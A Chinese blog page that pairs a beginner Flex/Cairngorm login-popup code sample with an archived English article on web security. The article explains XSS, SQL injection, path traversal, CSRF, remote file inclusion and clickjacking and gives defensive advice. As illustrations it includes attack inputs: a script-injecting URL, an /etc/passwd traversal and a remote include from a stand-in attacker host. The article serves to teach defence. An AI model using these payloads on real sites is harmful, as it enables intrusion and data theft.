听到一个网友讲了他的需求,所以花了点时间写了这个东西,顺便开了个博客,以前感觉自己写的东西拿不出来见人,但是这样自己就得不到发展,希望能对入门开发人员有点启示,高手们多加指导,作为一个业余爱好者,大学四年来,网络给予我很多的东西,帮助了我很多,网络作为我大学时代的唯一老师,我很是感激,希望终有一天自己能够为中国的开源程序发展做出丁点(毕竟能力是有限的)。特此感谢其他写程序博客人们,你们每一个都是无私的老师,能够与其他人分享开发的快乐。 同时也祝愿自己能够找到工,克服危机,加油!!! 程序只是展现流程而已,大家自行补充完整,service是没有发送任何东西的,php页面会返回一个字符串。

?View Code ACTIONSCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
LoginService.as
package com.steps.Player.business
{
	import com.steps.Player.vo.UserLoginInfo;
 
	import mx.rpc.AsyncToken;
	import mx.rpc.IResponder;
	import com.adobe.cairngorm.business.ServiceLocator;
 
	public class LoginService
	{
		private var responder:IResponder;
		private var service:Object;
		public function LoginService(responder:IResponder)
		{
			this.responder=responder;
			this.service=ServiceLocator.getInstance().getHTTPService("LoginService");
		}
		public function login(userloginInfo:UserLoginInfo):void
		{
			var token:AsyncToken=service.send();
			token.addResponder(responder);
		}
 
	}
}
 
 
LoginManageCommand.as
package com.steps.Player.command
{
	import com.adobe.cairngorm.commands.ICommand;
	import com.adobe.cairngorm.control.CairngormEvent;
	import com.steps.Player.business.LoginService;
	import com.steps.Player.event.UserLoginEvent;
	import com.steps.Player.view.PopupTitleWindow;
 
	import flash.display.DisplayObject;
 
	import mx.managers.PopUpManager;
	import mx.rpc.IResponder;
 
	public class LoginManageCommand implements ICommand, IResponder
	{
		private var parent:DisplayObject;
		public function execute(event:CairngormEvent):void
		{
			if(event.type==UserLoginEvent.unLogin)
			{
				var login:PopupTitleWindow=PopupTitleWindow(PopUpManager.createPopUp((event as UserLoginEvent).parent,PopupTitleWindow,true))
				PopUpManager.centerPopUp(login);
			}
			if(event.type==UserLoginEvent.login)
			{
				this.parent=(event as UserLoginEvent).parent;
				var delegate:LoginService=new LoginService(this);
				delegate.login((event as UserLoginEvent).userLoginInfo);
			}
		}
 
		public function result(data:Object):void
		{
			PopUpManager.removePopUp(this.parent as PopupTitleWindow);
		}
 
		public function fault(info:Object):void
		{
		}
 
	}
}
 
 
LoginControl.as
package com.steps.Player.control
{
	import com.adobe.cairngorm.control.FrontController;
	import com.steps.Player.event.UserLoginEvent;
	import com.steps.Player.command.LoginManageCommand;
	public class LoginControl extends FrontController
	{
 
		public function LoginControl()
		{
			addCommand(UserLoginEvent.unLogin,LoginManageCommand);
			addCommand(UserLoginEvent.login,LoginManageCommand);
		}
 
	}
}
 
 
UserLoginEvent.as
package com.steps.Player.event
{
	import com.adobe.cairngorm.control.CairngormEvent;
 
	import com.steps.Player.vo.UserLoginInfo;
 
	import flash.display.DisplayObject;
	import flash.events.Event;
 
	public class UserLoginEvent extends CairngormEvent
	{
		public static const unLogin:String="unLogin";
		public static const login:String="login";
		public var userLoginInfo:UserLoginInfo;
		public var parent:DisplayObject;
		public function UserLoginEvent(type:String,parent:DisplayObject)
		{
			super(type);
			this.parent=parent;
		}
		override public function clone():Event
		{
			return new UserLoginEvent(type,parent);
		}	
		public function set loginInfo(userLoginInfo:UserLoginInfo):void
		{
			this.userLoginInfo=userLoginInfo;
		}
		public function get loginInfo():UserLoginInfo
		{
			return this.userLoginInfo;
		}
	}
}
 
Login.as
package com.steps.Player.model
{
	import com.steps.Player.vo.UserLoginInfo;
 
 
	public class Login
	{
 
		[Bindable]
		public var userLoginInfo:UserLoginInfo=new UserLoginInfo();
 
 
 
	}
}
 
ModelLocator.as
package com.steps.Player.model
{
	[Bindable]
	public class ModelLocator
	{
 
 
		static private var __instance:ModelLocator=null;
		static public function getInstance():com.steps.Player.model.ModelLocator
		{
			if(__instance==null)
			{
				__instance=new ModelLocator();
			}
			return __instance;
		}
		public function ModelLocator()
		{
 
		}
		public var login:Login=new Login();
 
	}
 
}
 
 
&nbsp;PopupTitleWindow.mxml
<?xml version="1.0" encoding="utf-8"?>
<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" title="登陆" layout="absolute" width="400" height="300">
	<mx:Script>
		<![CDATA[
			import com.steps.Player.vo.UserLoginInfo;
			import com.steps.Player.event.UserLoginEvent;
			import mx.events.ModuleEvent;
			import com.adobe.cairngorm.control.CairngormEventDispatcher;
			private function onLogin(event:MouseEvent):void
			{
				var userLoginInfo:UserLoginInfo=new UserLoginInfo();
				userLoginInfo.userName=username.text;
				userLoginInfo.userPassword=password.text;
				var evt:UserLoginEvent=new UserLoginEvent(UserLoginEvent.login,this);
				evt.loginInfo=userLoginInfo;
				CairngormEventDispatcher.getInstance().dispatchEvent(evt);	
			}
		]]>
	</mx:Script>
	<mx:Form x="67" y="59">
		<mx:FormItem label="用户名:">
			<mx:TextInput id="username"/>
		</mx:FormItem>
		<mx:FormItem label="密码:">
			<mx:TextInput id="password"/>
		</mx:FormItem>
 
	</mx:Form>
	<mx:Button label="登陆" click="onLogin(event)" x="255" y="159"/>
	<mx:Button x="199" y="159" label="清空"/>
</mx:TitleWindow>
 
UserLoginInfo.as
package com.steps.Player.vo
{
	import com.adobe.cairngorm.vo.ValueObject;
 
	public class UserLoginInfo implements ValueObject
	{
 
		public var userName:String="";
		public var userPassword:String="";
		public var isLogin:Boolean=false;
		public function UserLoginInfo()
		{
		}
 
	}
 
}
 
 
popuptest.mxml
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
	xmlns:business="com.steps.Player.business.*"
	xmlns:control="com.steps.Player.control.*"
	xmlns:view="com.steps.Player.view.*"
	 layout="absolute"
    creationComplete="init()">
	<mx:Script>
		<![CDATA[
			import com.steps.Player.event.UserLoginEvent;
			import com.steps.Player.model.Login;
			import com.steps.Player.event.UserLoginEvent;
			import com.steps.Player.model.ModelLocator;
			import com.adobe.cairngorm.control.CairngormEventDispatcher;
			private var __model:ModelLocator=ModelLocator.getInstance();
			private function init():void
			{
				if(!__model.login.userLoginInfo.isLogin)
				{
					var event:UserLoginEvent=new UserLoginEvent(UserLoginEvent.unLogin,this);
					CairngormEventDispatcher.getInstance().dispatchEvent(event);
				}
			}
		]]>
	</mx:Script>
	<control:LoginControl id="LoginControl"/>
	<business:services id="LoginService"/>
</mx:Application>
&nbsp;
services.mxml
<?xml version="1.0" encoding="utf-8"?>
<rds:ServiceLocator xmlns:rds="com.adobe.cairngorm.business.*" xmlns:mx="http://www.adobe.com/2006/mxml">
	<mx:HTTPService id="LoginService" useProxy="false" url="http://localhost/popuptest/bin-debug/login.php" resultFormat="text" method="get">
 
	</mx:HTTPService>
</rds:ServiceLocator>

推荐60+ Flex开发参考网站

2010年1月16日 由 博兮斋主 没有评论 »

新手入门参考:

应用收集,文章,博客,流行的应用和有用的资源:

【存档】网站安全: 问题是不是有你的一份

2010年1月15日 由 博兮斋主 没有评论 »

Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.

The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.

The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”

Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.

Disclaimer: the things we’ll talk about in this article today won’t make you a security expert, just as buying a Swiss Army knife won’t make you a locksmith or buying a whip won’t make you a lion tamer. The purpose here is to raise awareness and perhaps make some of that security mumbo-jumbo a bit more understandable to you.

An Interesting Report On Web Security

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A PDF of the report is available, and the numbers are telling:

4239939571 B7d3cddc83 O in Web Security: Are You Part Of The Problem?
PDF: Web Vulnerabilities Q1/Q2 2009.

Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don’t use PHP, you could still cause a lot of problems. Even if you don’t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.

Let’s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.

URIs: The Main Way To Attack A Web Service

The address of any document (i.e. file on the Internet) is its Uniform Resource Identifier (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is http://icant.co.uk, and the document you see when you open it in a browser is http://icant.co.uk/index.php (the server automatically redirects to that document). The logo image resides at the URI http://icant.co.uk/iconslogo.png, and the image of me pointing at you is on a totally different server and has the URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.

All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the /etc/password folder on a server contains password and user information that should not leak to the Internet.

Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a ? and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI http://www.google.com/search?q=puppies, and if you want to begin your search after the first 50 results, you can use http://www.google.com/search?q=puppies&start=50.

Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:

01 <form name=“f” action=“/search”>
02   <input type=“hidden” value=“en” name=“hl”/>
03   <input type=“hidden” value=“hp” name=“source”/>
04   <input name=“q”/>
05   <input type=“submit” name=“btnG”/>
06   <input type=“submit” name=“btnI”/>
07   <input type=“hidden” name=“aq”/>
08   <input type=“hidden” name=“oq”/>
09   <input type=“hidden” name=“aqi”/>
10 </form>

So in essence, this form sends the content of all of these fields to the URI search and appends them to that URI. This is how you end up with this,

when you submit the form. Notice, for instance, that I have no btnG parameter because I used the Enter key to submit the form.

On the search results page, you can see the pagination links at the bottom (the 1 2 3 and so on under the Gooooooogle logo), and you can see that these links send the same data to the URI and add a start parameter:

1 <a href="/search?hl=en&amp;q=puppies&amp;<STRONG>start=40</STRONG>&amp;sa=N">5</a>

You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an href or src attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.

You have to be careful with what your parameters contain and where they point to, which could be someone else’s server (to get more code) or sections of your own server that you don’t want to show or send to another server.

Different Types Of Attacks. What Do These Words Mean?

Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.

SQL Injection

With an SQL injection, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by sanitizing, but neglecting to do so can be fatal for your website, as the following XKCD comic shows:

Exploits Of A Mom in Web Security: Are You Part Of The Problem?
XKCD comic showing how SQL injection would delete a database.

Cross-Site Scripting (XSS)

Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.

Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:

01 <?php
02   // predefine colors to use
03   $color = ‘white’;
04   $background = ‘black’;
05   // if there is a parameter called color, use that one
06   if(isset($_GET['color'])){
07     $color = $_GET['color'];
08   }
09   // if there is a parameter called background, use that one
10   if(isset($_GET['background'])){
11     $background = $_GET['background'];
12   }
13 ?>
14   
15 <style type=“text/css” media=“screen”>
16   #intro{
17     /* color is set by PHP */
18     color:<?php echo $color;?>;
19     /* background is set by PHP */
20     background:<?php echo $background;?>;
21     font-family:helvetica,arial,sans-serif;
22     font-size:200%;
23     padding:10px;
24   }
25 </style>
26   
27 <p id=“intro”>Cool intro block, customizable, too!</p>

So far, everything’s kosher, and we’re not even using inline styles! If you save this now as test.php and call it on your server in your browser as the URI http://example.com/test.php, you will get a text intro block that is black on white. The $_GET[] variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: http://example.com/test.php?color=red&background=pink.

But because you allow any value for the variables, an attacker could send the following:

1 http://example.com/test.php?color=green&background=</style><script>alert(String.fromCharCode(88,83,83))</script>

This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot:

Xss in Web Security: Are You Part Of The Problem?
Large view

Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and “drive-by downloads”; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on.

XSS is a very common problem. Websites such as XSSED.org have a field day showing the world just how many websites are vulnerable:

Xssed in Web Security: Are You Part Of The Problem?

The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we’ll come back to some ways to test for that and to write good code later on).

Path Traversal

Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs:

Path in Web Security: Are You Part Of The Problem?
Large view

I was able to get all of this information simply by accessing the cgi-bin folder, which was unprotected from being listed. So, instead of going to http://example.com, I went to http://example.com/cgi-bin/ in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like

 

which gave me all the information I needed to play around.

The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google.

You could search for, say, “index of /ebooks” to find electronic books online or “index of /photos” to find photos. To see search tests such as this one, check out the Google a Dream Come True article, which listed many of them in 2003(!).

This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites’ search engine rankings.

Cross-Site Request Forgery

Cross-site request forgery (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website http://example.com that works with GET and sends things to your database:

01 <form method=“get” action=“add_to_db.php”>
02   <div>
03     <label for=“name”>Name</label>
04     <input type=“text” id=“name” name=“name”>
05   </div>
06   <div>
07     <label for=“email”>email</label>
08     <input type=“text” id=“email” name=“email”>
09   </div>
10   <div>
11     <label for=“comment”>Comment</label>
12     <textarea id=“comment” name=“comment”></textarea>
13   </div>
14   <div><input type=“submit” value=“tell me more”></div>
15 </form>

Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them “under the hood.” POST also allows you to send much more data. This is a simplification but all you need to know for now.

If the script that adds to the database doesn’t check that the form was really sent from your server, I could add an image to any website by doing this:

2 name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help" width=“1″ height=“1″>

Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image.

CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things.

A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued Web accelerator tool (GWA). The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good… until you ended up with delete links in websites that worked like this:

1 <a href=“/app/delete_entry.php?id=12″>delete</a>

Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day.

Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:

1 <form method=“post” action=“add_to_db.php”>
2   <div>
3     <input type=“hidden” name=“name” value=“bob”>
4     <input type=“hidden” name=“email” value=“bob@experts.com”>
5     <input type=“hidden” name=“comment”
6            value=“awesome article, buy cialis now!”>
7   <input type=“submit” value=“see beautiful kittens now!”>
8   </div>
9 </form>

You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and protecting against it is not that hard.

Remote File Inclusion (RFI)

With Remote file inclusion or code injection, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can’t access the file system without resorting to tricks with Flash or Java Applets).

Any code injected to your server with an untested variable and include() command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it.

This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it.

The workaround is to turn off globals and to never ever assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)

Phishing

Phishing is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo.

The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your “XYZ bank account” has been compromised, and you know for certain that this isn’t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective.

On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As Jeremiah Grossman showed some years ago, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. This demo shows this quite effectively. Funny enough, you can also use this trick for good; for example, by showing people only the buttons of social media websites they use.

Clickjacking

Clickjacking is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the “Don’t click me” exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read “Don’t click me”. Here is an examples for Jason Kottke’s stream:

Dontclick in Web Security: Are You Part Of The Problem?
Twitter’s “Don’t Click” prank, explained

Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5:

Clickjacking1 in Web Security: Are You Part Of The Problem?

By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick.

Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

Use Clever Passwords, and Entice Users to Do the Same

Even on bullet-proof systems, one attack vector is users whose passwords are very easy to guess. I change my passwords every few weeks, and I take inspiration from a book I am reading or a movie I have just seen. I also replace some characters and with numbers to make dictionary attacks harder.

There are two ways to crack a password (other than social engineering, which is making you tell me your password by tricking you or phishing): brute force and dictionary attacks. Brute force entails writing a loop that tries all of the different options (much like playing hangman), which can take ages and uses a lot of computing power. Dictionary attacks use a dictionary database to attempt common words instead of going letter by letter.

Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be Sh3rl0ckW4t50n or b4sk3rv!ll3. That may be a bit hardcore for most people but is generally a good idea. Another strategy is to take a sentence that you can memorize easily and string together the initial letters. For example, “I like to buy food for my dog and to walk with it” would be Il2bffmda2wwi or even Il2bffmd&2wwi.

So, if you build a new Web product that needs authentication, and you really need to build your own log-in system rather than use Google, Yahoo, Facebook Connect or OpenID (which might be a good idea), please do not allow users to use passwords like “password” or the not-much-safer “password1.” Recently, a list of passwords banned by Twitter leaked onto the Web, shown here as the full code. This is a good idea (the list, that is, not the leak).

What To Do On Your Server

Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.

Turn Off Folder Listing

As explained earlier, allowing people to navigate your folders (i.e. path traversal) is a bad idea. Testing whether your server has path traversal turned on is easy:

  1. Create a new folder on the server; for example, pathtest.
  2. Add some files to the folder. But do not add index.html, index.php, default.aspx or whatever else your server uses as the default file name.
  3. Check the folder in your browser; for example, by going to http://example.com/pathtest/
  4. If you can see a listing, contact your server admin to turn that off!

Harden Your PHP

If you have a server with PHP, be aware that you are in control of a powerful tool. The worst oversight someone could make is to allow any parameter that comes in from the URI to become a global variable. This is turned off by default on PHP installs in version 4.2.0 and onward, but your configuration may have changed. In fact, some tutorials recommend that you turn it on for a script to work: this is a very, very bad idea.

You can easily test if globals are enabled:

  1. Create a new file named test.php.
  2. Add the following code to it:
    1 <?php echo "*".$ouch.'*';?>
  3. Upload the file to your server.
  4. Browse to the file, and send a parameter called ouch; for example: http://example.com/test.php?ouch=that+hurts
  5. If your browser shows “*that hurts*”, then your server has globals registered.
  6. Contact your server admin to get this fixed!

Why is this important? Well, in our explanation of XSS earlier, we talked about attackers being able to add code to your page using the URI parameters in your script. If you don’t turn off globals, any variable you use and write out could become an attack. Even worse, consider the following code:

1 if($_POST['username'] == ‘muppet’ &&
2    $_POST['password'] == ‘password1′) {
3     $authenticated = true;
4 }
5 if($authenticated) {
6   // do something only admins are allowed to do
7 }

If this is checkuser.php and global registering is on, then an attacker could call this in the browser as http://example.com/checkuser.php?authenticated=true and could work around the whole user checking; his authentication as $_GET['authenticated'] automatically turns into $authenticated.

Turn Off Error Messages

A lot of servers are set up to show you error messages when the browser encounters a problem. These messages often look cryptic, but they are a great source of information for attackers.

Creating an error and seeing what the server spits out is one of the first steps in checking the folder structure of a server. Funnily enough, error pages stating “File XYZ could not be found” were one of the first XSS attack opportunities, because you could look for a file named <script>alert(document.cookie),</script>.

Automatically Checking PHP for Security Issues

Uploading PHPSecInfo to a folder is a pretty handy way to perform a quick audit of your PHP server’s security. Opening it in your browser gives you a detailed checklist of common security flaws and how they should be fixed.

But never leave this on a live server because it gives attackers a lot of details about your set-up!

Securityinfo in Web Security: Are You Part Of The Problem?
PHPSecInfo gives you detailed security information about your PHP setup.

What To Do To Your Code

Because you likely do not have much to do with your server let’s focus on things you do have full control of.

HTML

HTML is pretty safe. It is simply converted into text—no interaction with the server or calculations—so not much can go wrong. That said, you should always use HTML for what it’s for:

  • HTML structures your content.
    HTML is not a database to store information. The reason it is not is because you cannot rely on HTML content to stay unchanged. Anyone could use browser debugging tools to mess around with your HTML and change the content. So you run into security issues with JavaScript solutions that rely on data in the HTML and don’t check the server for what that data is allowed to be.
  • HTML is fully visible.
    Don’t use comments in the HTML to store sensitive information, and don’t comment out sections of a page that are not ready yet but that point to parts of an application that are in progress.
  • Hiding things doesn’t make them go away.
    Even if you hide information with CSS or JavaScript, some people can get it anyway. HTML is not there to give your application functionality; that should always happen on the server.

A wonderful example of insecure HTML was the drop-down menu on the website of a certain airline. This menu let you define the seating class you wanted to fly in as the last step before printing your voucher. The website rendered the HTML of the drop-down menu and commented out the sections that were not available for the price you had selected:

1 <select name=“class”>
2   <option value=“ec”>Economy</option>
3   <option value=“ecp”>Economy Plus</option>
4   <!–
5   <option value=”bu”>Business</option>
6   <option value=”fi”>First</option>
7   –>
8 </select>

The server-side code did not check to see whether you were eligible for a first-class ticket; it simply relied on the option not being available. The form was then sent via JavaScript. So, all you had to do to get a first-class ticket for the price of an economy seat was use FireBug to add a new option to the form, select the value you wanted and send it off.

CSS

CSS is not really capable of doing much to the document and cannot access the server… for now. One problem with CSS is background images that point to URIs. You can inject code by somehow overriding these. The same applies to the @import property for other style sheets.

Using expression() in Internet Explorer to make calculations (or, as in most cases, to simulate what other browsers can already do) is dangerous, though, because what you are doing in essence is executing JavaScript inside a CSS block. So, don’t use it.

CSS changing a lot now, and we are giving it more power than ever before. Generating content with CSS, animation, calculations and font embedding all sound absolutely cool, but I get a prickly feeling in the back of my neck when I look at it right now.

Attack vectors have two features: they have the power to change the content of a document, and they are technologies that are not proven and are changing constantly. This is what CSS 3 is right now. Font-embedding in particular could become a big security issue, because fonts are binary data that could contain anything: harmless characters as well as viruses masquerading as a nice charset. It will be interesting to see how this develops.

JavaScript

JavaScript makes the Web what it is today. You can use it to build interfaces that are fun to use and that allow visitors to reach their goals fast and conveniently. You can and should use JavaScript for the following:

  • Create slicker interfaces (e.g. auto-complete, asynchronous uploading).
  • Warn users about flawed entries (password strength, for instance).
  • Extend the interface options of HTML to become an application language (sliders, maps, combo boxes, etc.)
  • Create visual effects that cannot be done safely with CSS (animation, menus, etc.)

JavaScript is very powerful, though, which also means that it is a security issue:

  • JavaScript gives you full access to the document and allows you to post data to the Internet.
  • You can read cookies and send them elsewhere.
  • JavaScript is also fully readable by anyone using a browser.
  • Any JavaScript on the page has the same rights as the others, regardless of where it came from. If you can inject a script via XSS, it can do and access whatever the other scripts can.

This means you should not try to do any of the following in JavaScript:

  • Store sensitive information (e.g. credit card numbers, any real user data).
  • Store cookies containing session data.
  • Try to protect content (e.g. right-click scripts, email obfuscation).
  • Replace your server or save on server traffic without a fallback.
  • Rely on JavaScript as the only means of validation. Attackers can turn off JavaScript and get full access to your system.
  • Trust any JavaScript that does not come from your server or a similar trusted source.
  • Trust anything that comes from the URI, HTML or form fields. All of these can be manipulated by attackers after the page has loaded. If you use document.write() on unfiltered data, you expose yourself to XSS attacks.

In other words, AJAX is fun, but do not rely on its security. Whatever you do in JavaScript can be monitored and logged by an end user with the right tools.

PHP (or Any Server-Side Language)

Here be dragons! The server-side language is where you can really mess up if you don’t know what you’re doing. The biggest problems are trusting information from the URI or user entry and printing it out in the page. As shown earlier in the XSS example with the colors, you will be making it easy to inject malicious code into your page.

There are two ways to deal with this: whitelisting and proper filtering.

Whitelisting is the most effective way to make sure nothing insecure gets written out. The trick is easy: don’t use information that gets sent through as the output; rather, just use it in conditions or as lookups.

Let’s say you want to add a file on demand to a page. You currently have these sections on the page: About Us, Contact, Clients, Portfolio, Home, Partners. You could store the data of these in about-us.php, contact.php, clients.php, portfolio.php, index.php and partners.php.

The amazingly bad way to do this is probably the way you see done in many tutorials: a file called something like template.php, which takes a page parameter with the file name.

The template then normally contains something like this:

1 <?php include($_GET['page']);?>

If you call http://example.com/template.php?page=about-us.php, this would load the “About Us” document and include it in the template where the code is located.

It would also allow someone to check out all of the other interesting things on your server. For example, http://example.com/template.php?page=../../../../../../../../etc/passwd%00 or the like would allow an attacker to read your passwd file.

If your server allows for remote files with include(), you could also inject a file from another server, like http://example.com/template.php?page=http://evilsite.net/exploitcode/2.txt?. Remember, these text files will be executed as PHP inside your other PHP file and thus have access to everything. A lot of them contain mass-mailers or check your system for free space and upload options to store data.

In short: never, ever allow an unfiltered URI parameter to become part of a URI that you load in PHP or print out as an href or src in the HTML. Instead, use pointers:

01 <?php
02 $sites = array(
03   ‘about’=>‘about-us.php’,
04   ‘contact’=>‘contact.php’,
05   ‘clients’=>‘clients.php’,
06   ‘portfolio’=>‘portfolio.php’,
07   ‘home’=>‘index.php’,
08   ‘partners’=>‘partners.php’
09 );
10 if( isset($_GET['page']) &&
11     isset($sites[$_GET['page']]) &&
12     file_exists($sites[$_GET['page']]) ){
13       include($sites[$_GET['page']]);
14 } else {
15   echo ‘This page does not exist on this system.’;
16 }
17 ?>

This way, the parameters become not a file name but a word. So, http://example.com/template.php?page=about would include about-us.php, http://example.com/template.php?page=home would include index.php and so on. All other requests would trigger the error message. Note that the error message is in our control and not from the server; or else you might display information that could be used for an exploit.

Also, notice how defensive the script is. It checks if a page parameter has been sent; then it checks if an entry for this value exists in the sites array; then it checks if the file exist; and then, and only then, it includes it. Good code does that… which also means it can be a bit bigger than expected. That’s not exactly “Build your own PHP templating system in 20 lines of code!” But it’s much better for the Web as a whole.

Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

1 $authenticated = false;
2 if($_POST['username'] == ‘muppet’ &&
3    $_POST['password'] == ‘password1′) {
